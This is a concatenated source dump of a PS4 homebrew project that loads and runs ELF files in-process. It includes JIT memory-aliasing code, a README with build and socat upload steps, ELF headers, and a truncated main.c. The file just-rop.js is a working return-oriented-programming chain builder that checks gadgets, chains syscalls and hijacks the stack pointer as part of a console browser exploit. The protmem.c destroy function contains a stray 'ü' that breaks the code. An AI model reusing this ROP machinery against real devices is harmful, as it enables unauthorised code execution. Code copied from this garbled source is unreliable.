!= NULL) 196 | *size = 0; 197 | 198 | if(stat(file, &s) < 0) 199 | return NULL; 200 | 201 | if(alignment == 0) 202 | alignment = 1; 203 | 204 | sz = ((size_t)s.st_size * alignment) / alignment; 205 | b = (uint32_t *)malloc(sz * sizeof(uint8_t)); 206 | 207 | if(b == NULL) 208 | return NULL; 209 | 210 | f = fopen(file, "rb"); 211 | if(f == NULL) 212 | { 213 | free(b); 214 | return NULL; 215 | } 216 | fread(b, s.st_size, 1, f); 217 | fclose(f); 218 | 219 | if(size != NULL) 220 | *size = sz; 221 | 222 | for(i = s.st_size; i < sz; ++i) 223 | ((uint32_t *)b)[i] = 0; 224 | 225 | return b; 226 | } 227 | -------------------------------------------------------------------------------- /ps4/source/protmem.c: -------------------------------------------------------------------------------- 1 | #ifdef ElfLoaderStandalone 2 | 3 | #define _XOPEN_SOURCE 700 4 | #define __BSD_VISIBLE 1 5 | #define _DEFAULT_SOURCE 1 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "protmem.h" 15 | 16 | #ifdef __PS4__ 17 | #include 18 | #endif 19 | 20 | #ifndef MAP_TYPE 21 | #define MAP_TYPE 0x0f 22 | #endif 23 | 24 | typedef struct PS4ProtectedMemory 25 | { 26 | void *writable; 27 | void *executable; 28 | size_t size; 29 | } 30 | PS4ProtectedMemory; 31 | 32 | PS4ProtectedMemory *ps4ProtectedMemoryAllocate(size_t size) 33 | { 34 | PS4ProtectedMemory *memory; 35 | size_t pageSize; 36 | 37 | memory = (PS4ProtectedMemory *)malloc(sizeof(PS4ProtectedMemory)); 38 | if(memory == NULL) 39 | return NULL; 40 | 41 | pageSize = sysconf(_SC_PAGESIZE); 42 | memory->size = ((size - 1) / pageSize + 1) * pageSize; 43 | 44 | return memory; 45 | } 46 | 47 | PS4ProtectedMemory *ps4ProtectedMemoryCreateEmulation(size_t size) 48 | { 49 | int handle; 50 | PS4ProtectedMemory *memory; 51 | 52 | if(size == 0) 53 | return NULL; 54 | 55 | memory = ps4ProtectedMemoryAllocate(size); 56 | if(memory == NULL) 57 | return NULL; 58 | 59 | //int memoryFile = open("/dev/zero", O_RDWR); 60 | handle = shm_open("/elfloader", O_CREAT|O_TRUNC|O_RDWR, 0755); 61 | if(handle < 0) 62 | goto e1; 63 | 64 | if(ftruncate(handle, memory->size) == -1) 65 | goto e2; 66 | 67 | memory->executable = mmap(NULL, memory->size, PROT_READ | PROT_EXEC, MAP_FILE | MAP_SHARED, handle, 0); 68 | if(memory->executable == MAP_FAILED) 69 | goto e2; 70 | memory->writable = mmap(NULL, memory->size, PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, handle, 0); 71 | if(memory->writable == MAP_FAILED) 72 | goto e3; 73 | 74 | close(handle); 75 | 76 | return memory; 77 | 78 | e3: 79 | munmap(memory->executable, memory->size); 80 | e2: 81 | close(handle); 82 | shm_unlink("/elfloader"); 83 | e1: 84 | free(memory); 85 | 86 | return NULL; 87 | } 88 | 89 | #ifdef __PS4__ 90 | PS4ProtectedMemory *ps4ProtectedMemoryCreatePS4(size_t size) 91 | { 92 | int executableHandle, writableHandle; 93 | PS4ProtectedMemory *memory; 94 | 95 | if(size == 0) 96 | return NULL; 97 | 98 | memory = ps4ProtectedMemoryAllocate(size); 99 | if(memory == NULL) 100 | return NULL; 101 | 102 | sceKernelJitCreateSharedMemory(0, memory->size, PROT_READ | PROT_WRITE | PROT_EXEC, &executableHandle); 103 | if(executableHandle < 0) 104 | goto e1; 105 | sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_READ | PROT_WRITE, &writableHandle); 106 | if(writableHandle < 0) 107 | goto e2; 108 | //sceKernelJitMapSharedMemory(memory->writableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writable); 109 | memory->executable = mmap(NULL, memory->size, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0); 110 | if(memory->executable == MAP_FAILED) 111 | goto e3; 112 | memory->writable = mmap(NULL, memory->size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0); 113 | if(memory->writable == MAP_FAILED) 114 | goto e4; 115 | 116 | close(executableHandle); 117 | close(writableHandle); 118 | 119 | return memory; 120 | 121 | e4: 122 | munmap(memory->executable, memory->size); 123 | e3: 124 | close(writableHandle); 125 | e2: 126 | close(executableHandle); 127 | e1: 128 | free(memory); 129 | 130 | return NULL; 131 | } 132 | #endif 133 | 134 | PS4ProtectedMemory *ps4ProtectedMemoryCreatePlain(size_t size) 135 | { 136 | PS4ProtectedMemory *memory = ps4ProtectedMemoryAllocate(size); 137 | size_t pageSize = sysconf(_SC_PAGESIZE); 138 | 139 | //if(!(memory->writable = aligned_alloc(memory->alignment, memory->size))) 140 | if(posix_memalign(&memory->writable, pageSize, memory->size) != 0) 141 | { 142 | free(memory); 143 | return NULL; 144 | } 145 | if(mprotect(memory->writable, memory->size, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) 146 | { 147 | free(memory); 148 | return NULL; 149 | } 150 | memory->executable = memory->writable; 151 | 152 | return memory; 153 | } 154 | 155 | PS4ProtectedMemory *ps4ProtectedMemoryCreate(size_t size) 156 | { 157 | #ifdef __PS4__ 158 | return ps4ProtectedMemoryCreatePS4(size); 159 | #else 160 | return ps4ProtectedMemoryCreatePlain(size); 161 | #endif 162 | } 163 | 164 | #if defined(__PS4__) 165 | int ps4ProtectedMemoryDestroyPS4(PS4ProtectedMemory *memory) 166 | { 167 | int r = 0; 168 | if(memory == NULL) 169 | return -1; 170 | r |= munmap(memory->writable, memory->size); 171 | r |= munmap(memory->executable, memory->size); 172 | free(memory); 173 | return r; 174 | } 175 | #endif 176 | 177 | int ps4ProtectedMemoryDestroyEmulation(PS4ProtectedMemory *memory) 178 | { 179 | int r = 0; 180 | if(memory == NULL) 181 | return -1; 182 | r |= munmap(memory->writable, memory->size); 183 | r |= munmap(memory->executable, memory->size); 184 | r |= shm_unlink("/elfloader"); 185 | //close(memoryFile); 186 | free(memory); 187 | return r; 188 | } 189 | 190 | int ps4ProtectedMemoryDestroyPlain(PS4ProtectedMemory *memory) 191 | { 192 | if(memory == NULL) 193 | return -1; 194 | free(memory->writable); 195 | free(memory); 196 | return 0; 197 | } 198 | 199 | int ps4ProtectedMemoryDestroy(PS4ProtectedMemory *memory) 200 | { 201 | if(memory == NULL) 202 | return -1; 203 | #if defined(__PS4__) 204 | return üps4ProtectedMemoryDestroyPS4(memory); 205 | #else 206 | return ps4ProtectedMemoryDestroyPlain(memory); 207 | #endif 208 | } 209 | 210 | void *ps4ProtectedMemoryWritableAddress(PS4ProtectedMemory *memory) 211 | { 212 | if(memory == NULL) 213 | return NULL; 214 | return memory->writable; 215 | } 216 | 217 | void *ps4ProtectedMemoryExecutableAddress(PS4ProtectedMemory *memory) 218 | { 219 | if(memory == NULL) 220 | return NULL; 221 | return memory->executable; 222 | } 223 | 224 | size_t ps4ProtectedMemorySize(PS4ProtectedMemory *memory) 225 | { 226 | if(memory == NULL) 227 | return 0; 228 | return memory->size; 229 | } 230 | 231 | #endif 232 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Elf loader 2 | ===== 3 | 4 | > Runs 64-bit Elf files in-process on Linux, FreeBSD and PS4 5 | 6 | ##Description 7 | 8 | The loader requires the following things: 9 | - basic build-tools (clang due to ps4 support) 10 | - ps4dev/libps4 11 | - node.js to run the server 12 | - socat, netcat etc 13 | 14 | You will also need a current version of clang or alter the Makefile (remove -target specifically additionally ld/objectcopy may produce undesired (large) binaries). 15 | 16 | You can of course use other tools for the server, upload or debug output (socat, netcat or a C implementation for example). 17 | 18 | The elf loader does not support dynamically linked executables. All libraries need to be statically linked into the executable. You can try musl for an easy to build and use statically linkable libc on your x86-64 linux system (e.g. to test elfs 19 | locally). Libps4 provides a statically linkable libc for the PS4. 20 | 21 | ##Usage and Hints 22 | You may want to look into the Makefile, index.html, config.c and other files as they will (hopefully somewhat understandably) show you switches (defines / flags) you can use and what they do. 23 | 24 | ###Make 25 | ``` 26 | make clean 27 | make 28 | Options: 29 | target=x86-64 // target of loader, build for x86-64 30 | memory=emulate // set loader default to emulate ps4 memory conditions on x86-64 31 | server=true // set loader default to server mode under x86-64 32 | target=ps4-bin // (default) build as bin for the PS4 33 | keepelf=true // keeps elf before converting it to bin (for debug purposes) 34 | threading=true // sets loader default to run elfs threaded (ignored in file mode) 35 | stdio=wait|lazy|none // sets default std io redirect mode (lazy is a "may" option), can be combined with debug (ignored in file mode as well) 36 | debug=true // set loader default to debug mode 37 | (ldr=bin // build loader to accept binaries instead of elfs - best not used) 38 | ``` 39 | ###Commandline (x86-64) Arguments 40 | ``` 41 | --memory-plain // use plain memory despite the build-in defaults 42 | --memory-emulate // use emulate memory 43 | --file // use file input 44 | --server // use server (5053) input, and debug (5052) if enabled 45 | --debug // enable debug mode 46 | --no-debug // disable debug mode 47 | --threading // enable threading mode (multiple elfs can be executed async - to close the server, send a non-elf - this prints return codes out of order) 48 | --no-threading // disable threading mode (only one elf runs blocking) 49 | --stdio-none // disables stdio redirect, overwritten by debug 50 | --stdio-wait // enables stdio redirect on 5052, connection must be made prior to running code via 5053 51 | --stdio-lazy // enables stdio redirect on 5052, connection can be made later, output will be lost 52 | ``` 53 | 54 | ##Switches in local/index.html 55 | ``` 56 | var loopOnExit = true; // wait again after normal termination of code (otherwise segfault) 57 | var debug = 3; // show more or less infos in load steps 58 | var debugWait = 4000; // wait per step (to read info) applied on debug >= 3 59 | ``` 60 | 61 | 62 | ###Examples 63 | ####Local 64 | ``` 65 | // build for the local system / set defaults via defines 66 | make clean && make stdio=wait target=x86-64 67 | 68 | //Now you can try: 69 | bin/ldr --file ../../libps4-examples/libless/stress/bin/stress 70 | 71 | // use args to dynamically set modes 72 | make clean && make target=x86-64 73 | Now you can try: 74 | bin/ldr --debug --server --memory-emulate --threading 75 | 76 | Then connect to 5052 (if debug set) and send the file over 5053 77 | socat - TCP:127.0.0.1:5052 78 | socat -u FILE:../../libps4-examples/libless/stress/bin/stress TCP:127.0.0.1:5053 79 | ``` 80 | ####PS4 81 | ``` 82 | // build for the ps4 / we need to set all prefered defaults at build time (no args to main) 83 | make clean && make stdio=wait 84 | 85 | // Start server 86 | node server.js 87 | 88 | // Browse to server 89 | // Wait until it hangs in step 5 90 | 91 | // Connect debug/stdio channel (if build with debug=true or stdio=wait or lazy) 92 | socat - TCP:192.168.1.45:5052 93 | 94 | // Send file 95 | socat -u FILE:../../libps4-examples/libless/stress/bin/stress TCP:192.168.1.45:5053 96 | 97 | // Return code is not returned to the browser (0 is) 98 | // Use stdio=wait, debug=true or your own IO (socket) to get output / return codes 99 | ``` 100 | 101 | ##Complete PS4 Debug Example 102 | 103 | ###Start the server 104 | ``` 105 | node server.js 106 | Serving directory elfldr/local on port 5350 107 | ``` 108 | 109 | ###(In debug mode) connect to debug channel. For a non-debug build no such connection can be made. 110 | ``` 111 | $ socat - TCP:192.168.178.45:5052 112 | [main|545]: debugOpen(5052) 113 | [main|548]: Mode -> ElfLoader [input: 1, memory: 0, thread: 0, debug: 1, stdio: 1] 114 | [main|550]: utilServerCreate(5053, 20, 1) -> [main|554]: 140 115 | [elfLoaderServerAcceptElf|256]: accept(140, NULL, NULL) -> [elfLoaderServerAcceptElf|263]: 143 116 | [elfLoaderServerAcceptElf|265]: elfCreateFromSocket(143) -> [elfLoaderServerAcceptElf|271]: 880ba8100 117 | [elfLoaderServerAcceptElf|273]: close(143) -> [elfLoaderServerAcceptElf|274]: 0 118 | [main|561]: close(140) -> [main|562]: 0 119 | [elfLoaderMemoryCreate|311]: ps4ProtectedMemoryCreate(2098784) -> [elfLoaderMemoryCreate|321]: 880bb8160 120 | [elfLoaderRunSetup|373]: elfLoaderLoad(880ba8100, 2013ec000, 2011e8000) -> [elfLoaderRunSetup|379]: 0 121 | [elfLoaderRunSetup|383]: elfDestroyAndFree(880ba8100) 122 | [elfLoaderRunSync|410]: run(1, {"elf", NULL}) [2011e8000 + elfEntry = 2011e8380] -> [elfLoaderRunSync|412]: 66 123 | [elfLoaderMemoryDestroy|351]: PS4ProtectedMemoryDestroy(880bb8160) -> [elfLoaderMemoryDestroy|356]: 0 124 | [main|580]: debugClose() 125 | $ 126 | ``` 127 | 128 | ###Send Elf file 129 | ``` 130 | $ socat -u FILE:../../libps4-examples/libless/stress/bin/stress TCP:192.168.178.45:5053 131 | ``` 132 | 133 | Binary mode works analogous but is not advertised (since more may go wrong). 134 | 135 | ##Credit 136 | - Rop/Exec stuff goes to CTurt, flatz, SKFU, droogie, Xerpi, Hunger, Takezo, nas, Proxima 137 | - No idea who did what - contact me to clarify (open an issue) 138 | - Yifan (?) 139 | -------------------------------------------------------------------------------- /ps4/include/elfloader.h: -------------------------------------------------------------------------------- 1 | #ifndef ElfLoader_H 2 | #define ElfLoader_H 3 | 4 | #ifdef ElfLoaderStandalone 5 | 6 | #include 7 | 8 | /* Warning, written for 64bit systems - need to adapt stuff for 32 */ 9 | #if ULONG_MAX == 0xffffffff 10 | #define __ELF_WORD_SIZE 32 11 | #error Elf loader currently does not support 32 bit arches 12 | #else 13 | #define __ELF_WORD_SIZE 64 14 | #endif 15 | 16 | #include 17 | 18 | /* Defines which may be missing*/ 19 | 20 | #ifndef __ElfN 21 | #define __ElfNC_(x,y) x ## y 22 | #define __ElfNC(x,y) __ElfNC_(x,y) 23 | #define __ElfN(x) __ElfNC(__ElfNC(__ElfNC(Elf,__ELF_WORD_SIZE),_),x) 24 | #endif 25 | #ifndef __ELFN 26 | #define __ELFNC_(x,y) x ## y 27 | #define __ELFNC(x,y) __ElfNC_(x,y) 28 | #define __ELFN(x) __ElfNC(__ElfNC(__ElfNC(ELF,__ELF_WORD_SIZE),_),x) 29 | #endif 30 | 31 | #ifndef R_X86_64_JMP_SLOT 32 | #define R_X86_64_JMP_SLOT 7 33 | #endif 34 | 35 | #ifndef IS_ELF 36 | #define IS_ELF(ehdr) \ 37 | ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ 38 | (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ 39 | (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ 40 | (ehdr).e_ident[EI_MAG3] == ELFMAG3) 41 | #endif 42 | 43 | /* Neat Types */ 44 | 45 | typedef __ElfN(Ehdr) ElfHeader; 46 | typedef __ElfN(Phdr) ElfSegment; 47 | typedef __ElfN(Shdr) ElfSection; 48 | typedef __ElfN(Sym) ElfSymbol; 49 | //typedef Elf_Rel ElfRelocation; 50 | typedef __ElfN(Rela) ElfAddendRelocation; 51 | typedef __ElfN(Dyn) ElfDynamic; 52 | 53 | /* Type */ 54 | 55 | typedef struct Elf Elf; 56 | 57 | /* Enums*/ 58 | 59 | typedef enum 60 | { 61 | ElfLoaderReturnOK = 0, 62 | ElfLoaderReturnElfNull = -1, 63 | ElfLoaderReturnWritableMemoryNull = -2, 64 | ElfLoaderReturnExecutableMemoryNull = -3, 65 | ElfLoaderReturnNoElf = -4, 66 | ElfLoaderReturnUnknownRelocation = -5, 67 | ElfLoaderReturnAddressNotFound = -6, 68 | ElfLoaderReturnNoSectionsOrSegments = -7, 69 | ElfLoaderReturnIsNotLoadable = -8 70 | } 71 | ElfLoaderReturn; 72 | 73 | typedef enum 74 | { 75 | ElfSectionAttributeNone = 0, 76 | ElfSectionAttributeName, 77 | ElfSectionAttributeType, 78 | ElfSectionAttributeFlags, 79 | ElfSectionAttributeAddress, 80 | ElfSectionAttributeOffset, 81 | ElfSectionAttributeSize, 82 | ElfSectionAttributeLink, 83 | ElfSectionAttributeInfo, 84 | ElfSectionAttributeMemoryAlignment, 85 | ElfSectionAttributeEntrySize, 86 | } 87 | ElfSectionAttribute; 88 | 89 | typedef enum 90 | { 91 | ElfSegmentAttributeNone = 0, 92 | ElfSegmentAttributeType, 93 | ElfSegmentAttributeFlags, 94 | ElfSegmentAttributeOffset, 95 | ElfSegmentAttributeVirtualAddress, 96 | ElfSegmentAttributePhysicalAddress, 97 | ElfSegmentAttributeFileSize, 98 | ElfSegmentAttributeMemorySize, 99 | ElfSegmentAttributeAlignment, 100 | } 101 | ElfSegmentAttribute; 102 | 103 | typedef enum 104 | { 105 | ElfDynamicAttributeNone = 0, 106 | ElfDynamicAttributeTag, 107 | ElfDynamicAttributeValue, 108 | ElfDynamicAttributePointer 109 | } 110 | ElfDynamicAttribute; 111 | 112 | typedef enum 113 | { 114 | ElfRelocationAttributeNone = 0, 115 | ElfRelocationAttributeOffset, 116 | ElfRelocationAttributeInfo 117 | } 118 | ElfRelocationAttribute; 119 | 120 | typedef enum 121 | { 122 | ElfAddendRelocationAttributeNone = 0, 123 | ElfAddendRelocationAttributeOffset, 124 | ElfAddendRelocationAttributeInfo, 125 | ElfAddendRelocationAttributeAddend 126 | } 127 | ElfAddendRelocationAttribute; 128 | 129 | typedef enum 130 | { 131 | ElfSymbolAttributeNone = 0, 132 | ElfSymbolAttributeName, 133 | ElfSymbolAttributeInfo, 134 | ElfSymbolAttributeUnused, 135 | ElfSymbolAttributeSectionIndex, 136 | ElfSymbolAttributeValue, 137 | ElfSymbolAttributeSize, 138 | } 139 | ElfSymbolAttribute; 140 | 141 | /* --- inlined getters FIXME: Hint inline */ 142 | 143 | ElfHeader *elfHeader(Elf *elf); 144 | 145 | uint8_t elfIsElf(Elf *elf); 146 | uint8_t elfClass(Elf *elf); 147 | uint8_t elfEncoding(Elf *elf); 148 | uint8_t elfVersion(Elf *elf); 149 | uint8_t elfABI(Elf *elf); 150 | uint64_t elfEntry(Elf *elf); 151 | 152 | uint64_t elfLargestAlignment(Elf *elf); 153 | uint64_t elfMemorySize(Elf *elf); 154 | 155 | uint64_t elfSectionAttribute(ElfSection *elfSection, ElfSectionAttribute attribute); 156 | ElfSection *elfSections(Elf *elf, uint16_t *size, uint16_t *length); 157 | ElfSection *elfSection(Elf *elf, uint16_t *index, ElfSectionAttribute attribute, uint64_t value); 158 | 159 | uint64_t elfSegmentAttribute(ElfSegment *elfSegment, ElfSegmentAttribute attribute); 160 | ElfSegment *elfSegments(Elf *elf, uint16_t *size, uint16_t *length); 161 | ElfSegment *elfSegment(Elf *elf, uint16_t *index, ElfSegmentAttribute attribute, uint64_t value); 162 | 163 | /* dynamic (if exists) */ 164 | 165 | uint64_t elfDynamicAttribute(ElfDynamic *elfDynamic, ElfDynamicAttribute attribute); 166 | ElfDynamic *elfDynamics(Elf *elf, uint16_t *size, uint16_t *length); 167 | ElfDynamic *elfDynamic(Elf *elf, uint16_t *index, ElfDynamicAttribute attribute, uint64_t value); 168 | 169 | /* specifics (if exists) */ 170 | 171 | char *elfSectionStrings(Elf *elf, uint64_t *size); 172 | char *elfStringFromIndex(char *mem, uint64_t size, uint32_t index); 173 | uint32_t elfStringToIndex(char *mem, uint64_t size, char *str); 174 | char *elfStringFromOffset(char *mem, uint64_t size, uint32_t index); 175 | uint32_t elfStringToOffset(char *mem, uint64_t size, char *str); 176 | 177 | ElfSection *elfSectionByName(Elf *elf, char *name); 178 | 179 | uint64_t elfAddendRelocationAttribute(ElfAddendRelocation *elfAddendRelocation, ElfAddendRelocationAttribute attribute); 180 | ElfAddendRelocation *elfAddendRelocations(Elf *elf, char *name, uint16_t *size, uint16_t *length); 181 | //ElfAddendRelocation *elfAddendRelocation(Elf *elf, char *name, uint16_t *index, ElfAddendRelocationAttribute attribute, uint64_t value); 182 | 183 | uint32_t elfRelocationSymbol(uint64_t info); 184 | uint32_t elfRelocationType(uint64_t info); 185 | 186 | /*relocs here*/ 187 | 188 | uint64_t elfSymbolAttribute(ElfSymbol *elfSymbol, ElfSymbolAttribute attribute); 189 | ElfSymbol *elfSymbols(Elf *elf, char *name, uint16_t *size, uint16_t *length); 190 | //ElfSymbol *elfSymbol(Elf *elf, char *name, uint16_t *index, ElfSymbolAttribute attribute, uint64_t value); 191 | 192 | uint8_t elfSymbolType(uint8_t info); 193 | uint8_t elfSymbolBind(uint8_t info); 194 | 195 | /* --- actions */ 196 | 197 | Elf *elfCreate(void *data, uint64_t size); 198 | void *elfDestroy(Elf *elf); 199 | void elfDestroyAndFree(Elf *elf); 200 | 201 | /* --- loader --- */ 202 | 203 | int elfLoaderIsLoadable(Elf *elf); 204 | int elfLoaderInstantiate(Elf *elf, void *memory); 205 | int elfLoaderRelocate(Elf *elf, void *writable, void *executable); 206 | int elfLoaderLoad(Elf *elf, void *writable, void *executable); 207 | 208 | #endif 209 | 210 | #endif 211 | -------------------------------------------------------------------------------- /local/js/just-rop.js: -------------------------------------------------------------------------------- 1 | var chain; 2 | 3 | function gadget(instructions, module, address) { 4 | this.instructions = instructions; 5 | this.relativeAddress = address; 6 | this.checked = false; 7 | 8 | this.check = function() { 9 | if(!this.checked && this.instructions.length > 0) { 10 | var i; 11 | for(i = 0; i < this.instructions.length; i++) { 12 | if(getU8from(module_infos[module].image_base + address + i) != this.instructions[i]) { 13 | return false; 14 | } 15 | } 16 | 17 | // Check ends with ret 18 | if(getU8from(module_infos[module].image_base + address + this.instructions.length) != 0xc3) { 19 | return false; 20 | } 21 | } 22 | 23 | this.checked = true; 24 | return true; 25 | } 26 | 27 | this.address = function() { 28 | return module_infos[module].image_base + address; 29 | } 30 | } 31 | 32 | var checking = false; 33 | 34 | function rop() { 35 | setBase(stack_base + return_va); 36 | var resp = getU64from(stack_base + return_va); 37 | this.data = stack_base + return_va + 0x420; 38 | var chainAddress = stack_base - 0x20000; 39 | var chainLength = 0; 40 | var variableAddresses = []; 41 | 42 | this.add = function() { 43 | var i; 44 | for(i = 0; i < arguments.length; i++) { 45 | if(typeof(arguments[i]) === "string") { 46 | if(checking && gadgets[arguments[i]].check() == false) throw(gadgets[arguments[i]].relativeAddress); 47 | setU64into(chainAddress + chainLength, gadgets[arguments[i]].address()); 48 | } 49 | else { 50 | setU64into(chainAddress + chainLength, arguments[i]); 51 | } 52 | 53 | chainLength += 8; 54 | } 55 | 56 | return chainLength; 57 | } 58 | 59 | this.add32 = function() { 60 | var i; 61 | for(i = 0; i < arguments.length; i++) { 62 | setU32into(chainAddress + chainLength, arguments[i]); 63 | 64 | chainLength += 4; 65 | } 66 | 67 | return chainLength; 68 | } 69 | 70 | this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) { 71 | logAdd("syscall " + name); 72 | 73 | this.add("pop rax", systemCallNumber); 74 | if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1); 75 | if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2); 76 | if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3); 77 | if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4); 78 | if(typeof(arg5) !== "undefined") this.add("pop r8", arg5); 79 | if(typeof(arg6) !== "undefined") this.add("pop r9", arg6); 80 | this.add("pop rbp", stack_base + return_va - (chainLength + 8) + 0x1480); 81 | this.add("mov r10, rcx; syscall"); 82 | } 83 | 84 | this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) { 85 | logAdd("call " + name); 86 | 87 | if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1); 88 | if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2); 89 | if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3); 90 | if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4); 91 | if(typeof(arg5) !== "undefined") this.add("pop r8", arg5); 92 | if(typeof(arg6) !== "undefined") this.add("pop r9", arg6); 93 | this.add("pop rbp", stack_base + return_va - (chainLength + 8) + 0x1480); 94 | this.add(module_infos[module].image_base + address); 95 | } 96 | 97 | this.start = function(address, data) { 98 | logAdd("Starting code"); 99 | 100 | setBase(data); 101 | u32[0x3FFFE] = gadgets["mov r10, rcx; syscall"].address() % 0x100000000; 102 | u32[0x3FFFF] = gadgets["mov r10, rcx; syscall"].address() / 0x100000000; 103 | 104 | this.add("pop rbp", stack_base + return_va - (chainLength + 8) + 0x1480); 105 | //this.add("pop rcx", "mov r10, rcx; syscall"); 106 | this.add(address); 107 | } 108 | 109 | // Modifies rsi 110 | this.write_rax = function(address) { 111 | var valueAddress = this.add("pop rsi", address - 0x18) - 8; 112 | this.add("mov [rsi+0x18], rax"); 113 | 114 | return valueAddress; 115 | } 116 | 117 | // Modifies rax 118 | this.write_rdi = function(address) { 119 | var valueAddress = this.add("pop rax", address - 0x60) - 8; 120 | this.add("mov [rax+0x60], rdi"); 121 | 122 | return valueAddress; 123 | } 124 | 125 | // Modifies rax 126 | this.write_rdx = function(address) { 127 | var valueAddress = this.add("pop rax", address - 0x1e8) - 8; 128 | this.add("mov [rax+0x1e8], rdx"); 129 | 130 | return valueAddress; 131 | } 132 | 133 | this.read_rax = function(address) { 134 | var valueAddress = this.add("pop rax", address - 0x830) - 8; 135 | this.add("mov rax, [rax+0x830]"); 136 | 137 | return valueAddress; 138 | } 139 | 140 | this.read_rdi = function(address) { 141 | var valueAddress = this.add("pop rdi", address - 0x48) - 8; 142 | this.add("mov rdi, [rdi+0x48]"); 143 | 144 | return valueAddress; 145 | } 146 | 147 | this.execute = function(afterExecution) { 148 | // Restore Stack Pointer 149 | this.add("pop rax", resp); 150 | this.write_rax(stack_base + return_va); 151 | this.add("pop rsp", stack_base + return_va); 152 | 153 | this.resolveVariables(); 154 | 155 | // Redirect Stack Pointer to our ROP chain 156 | setU64into(stack_base + return_va, gadgets["pop rsp"].address()); 157 | setU64into(stack_base + return_va + 8, chainAddress); 158 | 159 | setTimeout(function() { 160 | if(afterExecution) afterExecution(); 161 | }, 1); 162 | } 163 | 164 | // Don't yet know where to store variables (depends on chainLength) 165 | // wait until entire ROP chain written, and evaluate the address in this.resolveVariables() 166 | this.write_rax_ToVariable = function(n) { variableAddresses.push({ number: n, address: this.write_rax(0), offset: -0x18 }); } 167 | this.write_rdi_ToVariable = function(n) { variableAddresses.push({ number: n, address: this.write_rdi(0), offset: -0x60 }); } 168 | this.write_rdx_ToVariable = function(n) { variableAddresses.push({ number: n, address: this.write_rdx(0), offset: -0x1e8 }); } 169 | this.read_rax_FromVariable = function(n) { variableAddresses.push({ number: n, address: this.read_rax(0), offset: -0x830 }); } 170 | this.read_rdi_FromVariable = function(n) { variableAddresses.push({ number: n, address: this.read_rdi(0), offset: -0x48 }); } 171 | 172 | this.resolveVariables = function() { 173 | var i; 174 | for(i = 0; i < variableAddresses.length; i++) { 175 | setU64into(chainAddress + variableAddresses[i].address, chainAddress + chainLength + variableAddresses[i].offset + variableAddresses[i].number * 8); 176 | } 177 | } 178 | 179 | this.getVariable = function(n) { 180 | return getU64from(chainAddress + chainLength + n * 8); 181 | } 182 | 183 | this.logVariable = function(n) { 184 | var v = getU64from(chainAddress + chainLength + n * 8); 185 | var s = "Variable " + n.toString() + " = 0x" + v.toString(16); 186 | if(errno[v]) s += " (" + errno[v] + ")"; 187 | logAdd(s); 188 | } 189 | } 190 | -------------------------------------------------------------------------------- /local/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ldr 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 234 | 235 | 236 | 239 | 240 | 241 | -------------------------------------------------------------------------------- /ps4/source/main.c: -------------------------------------------------------------------------------- 1 | #define _XOPEN_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include "util.h" 17 | #include "debug.h" 18 | #include "config.h" 19 | 20 | #ifdef __PS4__ 21 | #include 22 | #endif 23 | 24 | #if defined(BinaryLoader) && !defined(__PS4__) 25 | #error BinaryLoader can not be build on x86-64 26 | #endif 27 | #if defined(BinaryLoader) && defined(ElfLoaderStandardIORedirectLazy) 28 | #error BinaryLoader does not support lazy io 29 | #endif 30 | 31 | /* Types */ 32 | 33 | typedef int (*Runnable)(int argc, char **argv); 34 | 35 | typedef struct MainAndMemory 36 | { 37 | Runnable main; 38 | PS4ProtectedMemory *memory; 39 | } 40 | MainAndMemory; 41 | 42 | /* Constants */ 43 | 44 | enum{ StandardIOServerPort = 5052 }; 45 | enum{ ServerPort = 5053 }; //hex(P) + hex(S) 46 | enum{ ServerRetry = 20 }; 47 | enum{ ServerTimeout = 1 }; 48 | enum{ ServerBacklog = 10 }; 49 | 50 | /* Globals */ 51 | 52 | static ElfLoaderConfig *config; 53 | static volatile int ioServer; 54 | static pthread_t ioThread; 55 | 56 | /* Standard IO globals for PS4 */ 57 | 58 | #ifdef __PS4__ 59 | FILE *__stdinp; 60 | FILE **__stdinp_addr; 61 | FILE *__stdoutp; 62 | FILE **__stdoutp_addr; 63 | FILE *__stderrp; 64 | FILE **__stderrp_addr; 65 | int __isthreaded; 66 | int *__isthreaded_addr; 67 | #endif 68 | 69 | /* Binary loader (backwards compatibility) synced but rarely tested */ 70 | 71 | #ifdef BinaryLoader 72 | int main(int argc, char **argv) 73 | #else 74 | int binaryLoaderMain(int argc, char **argv) 75 | #endif 76 | { 77 | int server, client; 78 | uint8_t *payload = (uint8_t *)Payload; 79 | ssize_t r; 80 | 81 | int stdfd[3]; 82 | fpos_t stdpos[3]; 83 | struct sigaction sa; 84 | 85 | #ifdef __PS4__ 86 | int libc = sceKernelLoadStartModule("libSceLibcInternal.sprx", 0, NULL, 0, 0, 0); 87 | sceKernelDlsym(libc, "__stdinp", (void **)&__stdinp_addr); 88 | sceKernelDlsym(libc, "__stdoutp", (void **)&__stdoutp_addr); 89 | sceKernelDlsym(libc, "__stderrp", (void **)&__stderrp_addr); 90 | sceKernelDlsym(libc, "__isthreaded", (void **)&__isthreaded_addr); 91 | __stdinp = *__stdinp_addr; 92 | __stdoutp = *__stdoutp_addr; 93 | 